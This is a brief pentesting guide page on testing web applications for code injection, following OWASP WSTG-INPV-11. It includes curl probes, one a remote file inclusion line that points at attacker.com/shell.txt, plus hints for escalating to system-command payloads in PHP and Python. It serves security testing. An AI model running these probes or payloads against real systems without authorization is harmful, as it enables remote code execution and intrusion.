pentesting, updated
Testing for Code Injection
Check whether input reaches a language-level eval/include, letting you run arbitrary code in the app's own language.
Goal
Confirm no user input reaches eval(), a template engine’s raw eval, or a dynamic include()/require().
How to test
Probe parameters feeding a template, calculation, or include/require with a simple expression first:
curl -s "https://example.com/calc?expr=7*7" # does 49 come back, confirming eval?
curl -s "https://example.com/page?include=http://attacker.com/shell.txt" # RFI
Confirmed, escalate to a code-execution payload appropriate to the language (PHP system(), Python __import__('os').system(), …).
What to look for
A mathematical expression evaluated (confirms eval), or a remote/local file successfully included and executed.
References
- OWASP WSTG-INPV-11 — Testing for Code Injection.
- Related: Server-Side Template Injection.